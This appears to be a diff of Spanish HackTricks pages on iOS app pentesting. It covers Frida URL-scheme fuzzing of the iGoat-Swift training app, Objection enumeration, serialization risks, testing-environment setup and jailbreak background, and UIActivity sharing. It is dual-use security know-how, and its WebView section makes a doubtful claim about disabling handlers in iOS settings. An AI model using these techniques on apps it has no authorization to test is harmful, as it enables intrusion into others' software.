* Comprobar si la aplicación genera un informe de fallo (`.ips`) en `/private/var/mobile/Library/Logs/CrashReporter`.
|
||||
|
||||
El proyecto [FuzzDB](https://github.com/fuzzdb-project/fuzzdb) ofrece diccionarios de fuzzing que puedes usar como payloads.
|
||||
|
||||
## **Fuzzing Usando Frida**
|
||||
|
||||
Hacer esto con Frida es bastante fácil, puedes consultar esta [publicación de blog](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html) para ver un ejemplo que hace fuzzing de la aplicación iGoat-Swift (funcionando en iOS 11.1.2).
|
||||
|
||||
Antes de ejecutar el fuzzer, necesitamos los esquemas de URL como entradas. A partir del análisis estático, sabemos que la aplicación iGoat-Swift admite el siguiente esquema de URL y parámetros: `iGoat://?contactNumber={0}&message={0}`.
|
||||
```bash
|
||||
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
||||
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
||||
Watching for crashes from iGoat...
|
||||
No logs were moved.
|
||||
Opened URL: iGoat://?contactNumber=0&message=0
|
||||
```
|
||||
# Referencias
|
||||
|
||||
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,56 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Para esta sección se va a utilizar la herramienta [**Objection**](https://github.com/sensepost/objection).\
|
||||
Comience obteniendo una sesión de objection ejecutando algo como:
|
||||
```bash
|
||||
objection -d --gadget "iGoat-Swift" explore
|
||||
objection -d --gadget "OWASP.iGoat-Swift" explore
|
||||
```
|
||||
También se puede ejecutar `frida-ps -Uia` para verificar los procesos en ejecución del teléfono.
|
||||
|
||||
# Enumeración básica de la aplicación
|
||||
|
||||
## Rutas locales de la aplicación
|
||||
|
||||
* `env`: Encuentra las rutas donde se almacena la aplicación dentro del dispositivo
|
||||
|
||||
```bash
|
||||
env
|
||||
|
||||
Name Path
|
||||
----------------- -----------------------------------------------------------------------------------------------
|
||||
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
|
||||
DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents
|
||||
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
||||
```
|
||||
|
||||
## Listado de paquetes, frameworks y librerías
|
||||
|
||||
* `ios bundles list_bundles`: Lista los paquetes de la aplicación
|
||||
|
||||
```bash
|
||||
ios bundles list_bundles
|
||||
Executable Bundle Version Path
|
||||
------------ -------------------- --------- -------------------------------------------
|
||||
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
||||
```
|
||||
* `ios bundles list_frameworks`: Lista los frameworks externos utilizados por la aplicación
|
||||
|
||||
```
|
|
@ -0,0 +1,7 @@
|
|||
# Manejadores de protocolos WebView
|
||||
|
||||
Los manejadores de protocolos WebView son una forma de permitir que las aplicaciones de iOS abran enlaces personalizados en la aplicación en lugar de en el navegador predeterminado. Esto se logra mediante la creación de un esquema personalizado que se registra en el archivo `Info.plist` de la aplicación. Cuando se hace clic en un enlace que utiliza este esquema personalizado, la aplicación se abre y maneja el enlace.
|
||||
|
||||
Los manejadores de protocolos WebView pueden ser una vulnerabilidad de seguridad si no se implementan correctamente. Un atacante puede crear un enlace malicioso que utilice el esquema personalizado de la aplicación y, cuando se hace clic en el enlace, la aplicación se abre y ejecuta el código malicioso. Esto puede permitir al atacante robar información confidencial o tomar el control de la aplicación.
|
||||
|
||||
Para evitar esta vulnerabilidad, es importante que los desarrolladores implementen medidas de seguridad adecuadas, como la validación de entradas y la verificación de la fuente de los enlaces. Los usuarios también pueden protegerse deshabilitando los manejadores de protocolos WebView para aplicaciones específicas en la configuración de iOS.
|
|
@ -0,0 +1,149 @@
|
|||
### NSCoding y NSSecureCoding
|
||||
|
||||
iOS cuenta con dos protocolos para la **serialización** de objetos para Objective-C o `NSObject`s: **`NSCoding`** y **`NSSecureCoding`**. Cuando una **clase se ajusta** a cualquiera de los protocolos, los datos se serializan a **`NSData`**: un envoltorio para **buffers de bytes**. Tenga en cuenta que `Data` en Swift es lo mismo que `NSData` o su contraparte mutable: `NSMutableData`. El protocolo `NSCoding` declara los dos métodos que deben implementarse para codificar/decodificar sus variables de instancia. **Una clase que utiliza `NSCoding` necesita implementar `NSObject` o estar anotada como una clase @objc**. El protocolo `NSCoding` requiere implementar encode e init como se muestra a continuación.
|
||||
```swift
|
||||
class CustomPoint: NSObject, NSCoding {
|
||||
|
||||
//required by NSCoding:
|
||||
func encode(with aCoder: NSCoder) {
|
||||
aCoder.encode(x, forKey: "x")
|
||||
aCoder.encode(name, forKey: "name")
|
||||
}
|
||||
|
||||
var x: Double = 0.0
|
||||
var name: String = ""
|
||||
|
||||
init(x: Double, name: String) {
|
||||
self.x = x
|
||||
self.name = name
|
||||
}
|
||||
|
||||
// required by NSCoding: initialize members using a decoder.
|
||||
required convenience init?(coder aDecoder: NSCoder) {
|
||||
guard let name = aDecoder.decodeObject(forKey: "name") as? String
|
||||
else {return nil}
|
||||
self.init(x:aDecoder.decodeDouble(forKey:"x"),
|
||||
name:name)
|
||||
}
|
||||
|
||||
//getters/setters/etc.
|
||||
}
|
||||
```
|
||||
El problema con `NSCoding` es que el objeto a menudo ya está **construido e insertado antes de que puedas evaluar** el tipo de clase. Esto **permite a un atacante inyectar fácilmente todo tipo de datos**. Por lo tanto, se ha introducido el protocolo **`NSSecureCoding`**. Al conformarse con [`NSSecureCoding`](https://developer.apple.com/documentation/foundation/NSSecureCoding), es necesario incluir:
|
||||
```swift
|
||||
static var supportsSecureCoding: Bool {
|
||||
return true
|
||||
}
|
||||
```
|
||||
Cuando `init(coder:)` es parte de la clase. A continuación, al decodificar el objeto, se debe realizar una comprobación, por ejemplo:
|
||||
```swift
|
||||
let obj = decoder.decodeObject(of:MyClass.self, forKey: "myKey")
|
||||
```
|
||||
La conformidad con `NSSecureCoding` asegura que los objetos que se están instanciando son realmente los que se esperaban. Sin embargo, **no se realizan controles adicionales de integridad** sobre los datos y los datos no están cifrados. Por lo tanto, cualquier dato secreto necesita **cifrado adicional** y los datos cuya integridad deba ser protegida, deben tener un HMAC adicional.
|
||||
|
||||
### Archivado de objetos con NSKeyedArchiver
|
||||
|
||||
`NSKeyedArchiver` es una subclase concreta de `NSCoder` y proporciona una forma de codificar objetos y almacenarlos en un archivo. El `NSKeyedUnarchiver` decodifica los datos y recrea los datos originales. Tomemos el ejemplo de la sección `NSCoding` y ahora los archivamos y desarchivamos:
|
||||
```swift
|
||||
// archiving:
|
||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||
|
||||
// unarchiving:
|
||||
guard let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as?
|
||||
CustomPoint else { return nil }
|
||||
```
|
||||
También puedes guardar la información en el plist primario `NSUserDefaults`:
|
||||
```swift
|
||||
// archiving:
|
||||
let data = NSKeyedArchiver.archivedDataWithRootObject(customPoint)
|
||||
NSUserDefaults.standardUserDefaults().setObject(data, forKey: "customPoint")
|
||||
|
||||
// unarchiving:
|
||||
if let data = NSUserDefaults.standardUserDefaults().objectForKey("customPoint") as? NSData {
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithData(data)
|
||||
}
|
||||
```
|
||||
### Codable
|
||||
|
||||
Es una combinación de los protocolos `Decodable` y `Encodable`. Un `String`, `Int`, `Double`, `Date`, `Data` y `URL` son `Codable` por naturaleza: lo que significa que pueden ser codificados y decodificados fácilmente sin ningún trabajo adicional. Tomemos el siguiente ejemplo:
|
||||
```swift
|
||||
struct CustomPointStruct:Codable {
|
||||
var x: Double
|
||||
var name: String
|
||||
}
|
||||
```
|
||||
Al agregar `Codable` a la lista de herencia de `CustomPointStruct` en el ejemplo, los métodos `init(from:)` y `encode(to:)` son compatibles automáticamente. Para obtener más detalles sobre el funcionamiento de `Codable`, consulte [la documentación de desarrolladores de Apple](https://developer.apple.com/documentation/foundation/archives\_and\_serialization/encoding\_and\_decoding\_custom\_types).
|
||||
|
||||
También puede usar codable para guardar los datos en la lista de propiedades primarias `NSUserDefaults`:
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var point: Double
|
||||
var name: String
|
||||
}
|
||||
|
||||
var points: [CustomPointStruct] = [
|
||||
CustomPointStruct(point: 1, name: "test"),
|
||||
CustomPointStruct(point: 2, name: "test"),
|
||||
CustomPointStruct(point: 3, name: "test"),
|
||||
]
|
||||
|
||||
UserDefaults.standard.set(try? PropertyListEncoder().encode(points), forKey: "points")
|
||||
if let data = UserDefaults.standard.value(forKey: "points") as? Data {
|
||||
let points2 = try? PropertyListDecoder().decode([CustomPointStruct].self, from: data)
|
||||
}
|
||||
```
|
||||
### Codificación JSON
|
||||
|
||||
Existen muchas bibliotecas de terceros para codificar datos en JSON (como se explica [aquí](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)). Sin embargo, Apple proporciona soporte para la codificación/decodificación de JSON directamente combinando `Codable` junto con un `JSONEncoder` y un `JSONDecoder`:
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var point: Double
|
||||
var name: String
|
||||
}
|
||||
|
||||
let encoder = JSONEncoder()
|
||||
encoder.outputFormatting = .prettyPrinted
|
||||
|
||||
let test = CustomPointStruct(point: 10, name: "test")
|
||||
let data = try encoder.encode(test)
|
||||
let stringData = String(data: data, encoding: .utf8)
|
||||
|
||||
// stringData = Optional ({
|
||||
// "point" : 10,
|
||||
// "name" : "test"
|
||||
// })
|
||||
```
|
||||
### XML
|
||||
|
||||
Existen múltiples formas de codificar XML. Al igual que con el análisis de JSON, existen varias bibliotecas de terceros, como: [Fuzi](https://github.com/cezheng/Fuzi), [Ono](https://github.com/mattt/Ono), [AEXML](https://github.com/tadija/AEXML), [RaptureXML](https://github.com/ZaBlanc/RaptureXML), [SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser), [SWXMLHash](https://github.com/drmohundro/SWXMLHash)
|
||||
|
||||
Varían en términos de velocidad, uso de memoria, persistencia de objetos y lo más importante: difieren en cómo manejan las entidades XML externas. Vea [XXE en el visor de Office de Apple iOS](https://nvd.nist.gov/vuln/detail/CVE-2015-3784) como ejemplo. Por lo tanto, es clave deshabilitar el análisis de entidades externas XML si es posible. Consulte la [hoja de trucos de prevención de XXE de OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XML\_External\_Entity\_Prevention\_Cheat\_Sheet.html) para obtener más detalles. Además de las bibliotecas, se puede hacer uso de la clase [`XMLParser` de Apple](https://developer.apple.com/documentation/foundation/xmlparser)
|
||||
|
||||
Cuando no se utilizan bibliotecas de terceros, sino la clase `XMLParser` de Apple, asegúrese de que `shouldResolveExternalEntities` devuelva `false`.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Todas estas formas de serializar/codificar datos se pueden **utilizar para almacenar datos en el sistema de archivos**. En esos escenarios, verifique si los datos almacenados contienen algún tipo de **información sensible**.\
|
||||
Además, en algunos casos puede ser posible **abusar de algunos datos serializados** (capturándolos a través de MitM o modificándolos dentro del sistema de archivos) deserializando datos arbitrarios y **haciendo que la aplicación realice acciones inesperadas** (ver la página de deserialización). En estos casos, se recomienda enviar/guardar los datos serializados cifrados y firmados.
|
||||
{% endhint %}
|
||||
|
||||
## Referencias
|
||||
|
||||
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
104
mobile-pentesting/ios-pentesting/ios-testing-environment.md
Normal file
104
mobile-pentesting/ios-pentesting/ios-testing-environment.md
Normal file
|
@ -0,0 +1,104 @@
|
|||
# Apple Developer Program
|
||||
|
||||
Una **identidad de aprovisionamiento** es una colección de claves públicas y privadas que están asociadas a una cuenta de desarrollador de Apple. Para **firmar aplicaciones**, es necesario pagar **99$/año** para registrarse en el **Programa de Desarrolladores de Apple** y obtener su identidad de aprovisionamiento. Sin esto, no podrá ejecutar aplicaciones desde el código fuente en un dispositivo físico. Otra opción para hacer esto es usar un **dispositivo con jailbreak**.
|
||||
|
||||
A partir de Xcode 7.2, Apple ha proporcionado una opción para crear un **perfil de aprovisionamiento de desarrollo de iOS gratuito** que permite escribir y probar su aplicación en un iPhone real. Vaya a _Xcode_ --> _Preferencias_ --> _Cuentas_ --> _+_ (Agregar nuevo ID de aplicación a sus credenciales) --> _Haga clic en el ID de Apple creado_ --> _Gestionar certificados_ --> _+_ (Desarrollo de Apple) --> _Hecho_\
|
||||
__Luego, para ejecutar su aplicación en su iPhone, primero debe **indicar al iPhone que confíe en la computadora**. Luego, puede intentar **ejecutar la aplicación en el móvil desde Xcode**, pero aparecerá un error. Entonces, vaya a _Configuración_ --> _General_ --> _Perfiles y administración de dispositivos_ --> Seleccione el perfil no confiable y haga clic en "**Confiar**".
|
||||
|
||||
Tenga en cuenta que **las aplicaciones firmadas por el mismo certificado de firma pueden compartir recursos de manera segura, como elementos del llavero**.
|
||||
|
||||
Los perfiles de aprovisionamiento se almacenan dentro del teléfono en **`/Library/MobileDevice/ProvisioningProfiles`**
|
||||
|
||||
# **Simulador**
|
||||
|
||||
{% hint style="info" %}
|
||||
Tenga en cuenta que un **simulador no es lo mismo que un emulador**. El simulador solo simula el comportamiento del dispositivo y las funciones, pero no las utiliza realmente.
|
||||
{% endhint %}
|
||||
|
||||
El simulador de iOS SDK ofrece una _simulación_ de nivel superior de un dispositivo iOS. Lo más importante es que los binarios del emulador se compilan en código x86 en lugar de código ARM. Las aplicaciones compiladas para un dispositivo real no se ejecutan, lo que hace que el simulador sea inútil para el análisis de caja negra y la ingeniería inversa.
|
||||
|
||||
## **Simulador**
|
||||
|
||||
Lo primero que debe saber es que **realizar una prueba de penetración dentro de un simulador será mucho más limitado que hacerlo en un dispositivo con jailbreak**.
|
||||
|
||||
Todas las herramientas necesarias para construir y admitir una aplicación de iOS solo son **oficialmente compatibles en Mac OS**.\
|
||||
La herramienta de facto de Apple para crear / depurar / instrumentar aplicaciones de iOS es **Xcode**. Se puede usar para descargar otros componentes como **simuladores** y diferentes **versiones de SDK** necesarias para construir y **probar** su aplicación.\
|
||||
Es muy recomendable **descargar** Xcode desde la **tienda de aplicaciones oficial**. Otras versiones pueden contener malware.
|
||||
|
||||
Los archivos del simulador se pueden encontrar en `/Users/<username>/Library/Developer/CoreSimulator/Devices`
|
||||
|
||||
Para abrir el simulador, ejecute Xcode, luego presione en la pestaña _Xcode_ --> _Abrir herramientas de desarrollador_ --> _Simulador_\
|
||||
__En la siguiente imagen, al hacer clic en "iPod touch \[...]" puede seleccionar otro dispositivo para probar:
|
||||
|
||||
![](<../../.gitbook/assets/image (457).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (458).png>)
|
||||
|
||||
## Aplicaciones en el simulador
|
||||
|
||||
Dentro de `/Users/<username>/Library/Developer/CoreSimulator/Devices` puede encontrar todos los **simuladores instalados**. Si desea acceder a los archivos de una aplicación creada dentro de uno de los emuladores, puede ser difícil saber **en cuál se instaló la aplicación**. Una forma rápida de **encontrar el UID correcto** es ejecutar la aplicación en el simulador y ejecutar:
|
||||
```bash
|
||||
xcrun simctl list | grep Booted
|
||||
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
```
|
||||
Una vez que conozcas el UID, las aplicaciones instaladas dentro de él se pueden encontrar en `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application`
|
||||
|
||||
Sin embargo, sorprendentemente, no encontrarás la aplicación aquí. Necesitas acceder a `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`
|
||||
|
||||
Y en esta carpeta puedes **encontrar el paquete de la aplicación.**
|
||||
|
||||
# Emulador
|
||||
|
||||
Corellium es el único emulador de iOS disponible públicamente. Es una solución empresarial SaaS con un modelo de licencia por usuario y no ofrece ninguna licencia de prueba.
|
||||
|
||||
# Jailbreak
|
||||
|
||||
Apple exige estrictamente que el código que se ejecuta en el iPhone debe estar **firmado por un certificado emitido por Apple**. **Jailbreaking** es el proceso de **circunvenir activamente tales restricciones** y otros controles de seguridad establecidos por el sistema operativo. Por lo tanto, una vez que el dispositivo está jailbroken, la **comprobación de integridad** que se encarga de comprobar las aplicaciones que se instalan está parcheada para que se **omitida**.
|
||||
|
||||
{% hint style="info" %}
|
||||
A diferencia de Android, **no puedes cambiar a "Modo desarrollador"** en iOS para ejecutar código no firmado/no confiable en el dispositivo.
|
||||
{% endhint %}
|
||||
|
||||
## Comparación con Root en Android
|
||||
|
||||
A menudo se **compara el jailbreaking de iOS con el rooting de Android**, pero el proceso es en realidad bastante **diferente**. Para explicar la diferencia, primero revisaremos los conceptos de "rooting" y "flashing" en Android.
|
||||
|
||||
* **Rooting**: Esto suele implicar la instalación del binario `su` en el sistema o la sustitución de todo el sistema con una ROM personalizada con root. No se requieren exploits para obtener acceso root siempre y cuando el cargador de arranque sea accesible.
|
||||
* **Flashing de ROMs personalizadas**: Esto te permite reemplazar el sistema operativo que se está ejecutando en el dispositivo después de desbloquear el cargador de arranque. El cargador de arranque puede requerir un exploit para desbloquearlo.
|
||||
|
||||
**En los dispositivos iOS, es imposible flashear una ROM personalizada** porque el cargador de arranque de iOS **solo permite arrancar y flashear imágenes firmadas por Apple**. Es por eso que incluso **las imágenes oficiales de iOS no se pueden instalar si no están firmadas por Apple, y hace que los downgrades de iOS solo sean posibles mientras la versión anterior de iOS aún esté firmada.**
|
||||
|
||||
El propósito del jailbreaking es **desactivar las protecciones de iOS** (en particular, los mecanismos de firma de código de Apple) para que se pueda ejecutar **código no firmado arbitrario en el dispositivo** (por ejemplo, código personalizado o descargado de tiendas de aplicaciones alternativas como Cydia o Sileo). La palabra "jailbreak" es una referencia coloquial a las herramientas todo en uno que automatizan el proceso de desactivación.
|
||||
|
||||
## Consideraciones de Jailbreaking
|
||||
|
||||
El jailbreaking de un dispositivo iOS se está volviendo cada vez más **complicado** porque Apple sigue endureciendo el sistema y parcheando las vulnerabilidades explotadas. El jailbreaking se ha convertido en un procedimiento muy sensible al tiempo porque **Apple deja de firmar estas versiones vulnerables relativamente pronto después de lanzar una corrección** (a menos que el jailbreak se beneficie de vulnerabilidades basadas en hardware, como el [exploit limera1n](https://www.theiphonewiki.com/wiki/Limera1n) que afecta al BootROM del iPhone 4 y el iPad 1). Esto significa que **no puedes volver a una versión específica de iOS una vez que Apple deja de firmar el firmware**.
|
||||
|
||||
Si tienes un dispositivo jailbroken que usas para pruebas de seguridad, **mantenlo** tal como está a menos que estés 100% seguro de que puedes volver a jailbreaklo después de actualizar a la última versión de iOS.
|
||||
|
||||
Las actualizaciones de iOS se basan en un proceso de desafío-respuesta (generando los llamados blobs SHSH como resultado). El dispositivo permitirá la instalación del sistema operativo solo si la respuesta al desafío está firmada por Apple. Esto es lo que los investigadores llaman una "ventana de firma", y es la razón por la que **no puedes simplemente almacenar el paquete de firmware OTA que descargaste y cargarlo en el dispositivo cuando quieras**. Durante las actualizaciones menores de iOS, dos versiones pueden estar firmadas por Apple (la última y la versión anterior de iOS). Esta es la única situación en la que puedes degradar el dispositivo iOS. Puedes **comprobar la ventana de firma actual y descargar el firmware OTA desde el** [**sitio web de descargas de IPSW**](https://ipsw.me).
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Actualizar el sistema operativo elimina el efecto del jailbreaking.**
|
||||
{% endhint %}
|
||||
|
||||
## Tipos de Jailbreak
|
||||
|
||||
* Los **jailbreaks atados** no persisten a través de reinicios, por lo que volver a aplicar los jailbreaks requiere que el dispositivo esté conectado (atado) a una computadora durante cada reinicio. El dispositivo puede no reiniciarse en absoluto si la computadora no está conectada.
|
||||
* Los **jailbreaks semi-atados** no se pueden volver a aplicar a menos que el dispositivo esté conectado a una computadora durante el reinicio. El dispositivo también puede arrancar en modo sin jailbreak por sí solo.
|
||||
* Los **jailbreaks semi-desatados** permiten que el dispositivo arranque por sí solo, pero los parches del kernel (o las modificaciones de usuario) para deshabilitar la firma de código no se aplican automáticamente. El usuario debe volver a jailbreakear el dispositivo iniciando una aplicación o visitando un sitio web (no se requiere una conexión a una computadora, de ahí el término desatado).
|
||||
* Los **jailbreaks sin ataduras** son la opción más popular para los usuarios finales porque solo necesitan aplicarse una vez, después de lo cual el dispositivo estará permanentemente jailbroken.
|
||||
|
||||
## Herramientas de Jailbreaking
|
||||
|
||||
Diferentes versiones de iOS requieren **técnicas de jailbreaking diferentes**. [Determina si hay un jailbreak público disponible para tu versión de iOS](https://canijailbreak.com). Ten cuidado con las herramientas falsas y el spyware, que a menudo se esconden detrás de nombres de dominio similares al nombre del grupo/autor del jailbreak.
|
||||
|
||||
La escena de jailbreaking de iOS evoluciona tan rápidamente que proporcionar instrucciones actualizadas es difícil. Sin embargo, podemos señalarte algunas fuentes que son actualmente confiables.
|
||||
|
||||
* [**¿Puedo hacer jailbreak?**](https://canijailbreak.com)
|
||||
* [**The iPhone Wiki**](https://www.theiphonewiki.com)
|
||||
* [**Redmond Pie**](https://www.redmondpie.com)
|
||||
* [**Reddit Jailbreak**](https://www.reddit.com/r/jailbreak/)
|
||||
* [**https://checkra.in/**](https://checkra.in)
|
||||
|
||||
> Ten en cuenta que cualquier modificación que hagas en tu dispositivo es bajo tu propio riesgo. Si bien el jailbreaking es típicamente seguro, las cosas pueden salir mal y puedes terminar con
|
82
mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md
Normal file
82
mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md
Normal file
|
@ -0,0 +1,82 @@
|
|||
# Compartir UIActivity
|
||||
|
||||
A partir de iOS 6, es posible que las aplicaciones de terceros **compartan datos (elementos)** a través de mecanismos específicos [como AirDrop, por ejemplo](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW3). Desde la perspectiva del usuario, esta función es la conocida hoja de actividad de _compartir_ en todo el sistema que aparece después de hacer clic en el botón "Compartir".
|
||||
|
||||
Una lista completa de los mecanismos de intercambio integrados disponibles se puede encontrar en [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Si no se considera apropiado para la aplicación, los **desarrolladores tienen la posibilidad de excluir algunos de estos mecanismos de intercambio**.
|
||||
|
||||
## **Envío de elementos**
|
||||
|
||||
Al probar la Compartición de UIActivity, debe prestar especial atención a:
|
||||
|
||||
* los datos (elementos) que se comparten,
|
||||
* las actividades personalizadas,
|
||||
* los tipos de actividad excluidos.
|
||||
|
||||
El intercambio de datos a través de `UIActivity` funciona creando un `UIActivityViewController` y pasándole los elementos deseados (URL, texto, una imagen) en [`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init).
|
||||
|
||||
Si tiene el código fuente, debe echar un vistazo al `UIActivityViewController`:
|
||||
|
||||
* Inspeccione las actividades pasadas al método `init(activityItems:applicationActivities:)`.
|
||||
* Compruebe si define actividades personalizadas (que también se pasan al método anterior).
|
||||
* Verifique los `excludedActivityTypes`, si los hay.
|
||||
|
||||
Si solo tiene la aplicación compilada/instalada, intente buscar el método y la propiedad anterior, por ejemplo:
|
||||
```bash
|
||||
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
||||
```
|
||||
## **Recibiendo elementos**
|
||||
|
||||
Al recibir elementos, debes verificar:
|
||||
|
||||
* si la aplicación **declara** _**tipos de documentos personalizados**_ mirando en los UTI exportados/importados ("Información" en el proyecto Xcode). La lista de todos los UTI declarados por el sistema se puede encontrar en la [Documentación de desarrolladores de Apple archivada](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple_ref/doc/uid/TP40009259).
|
||||
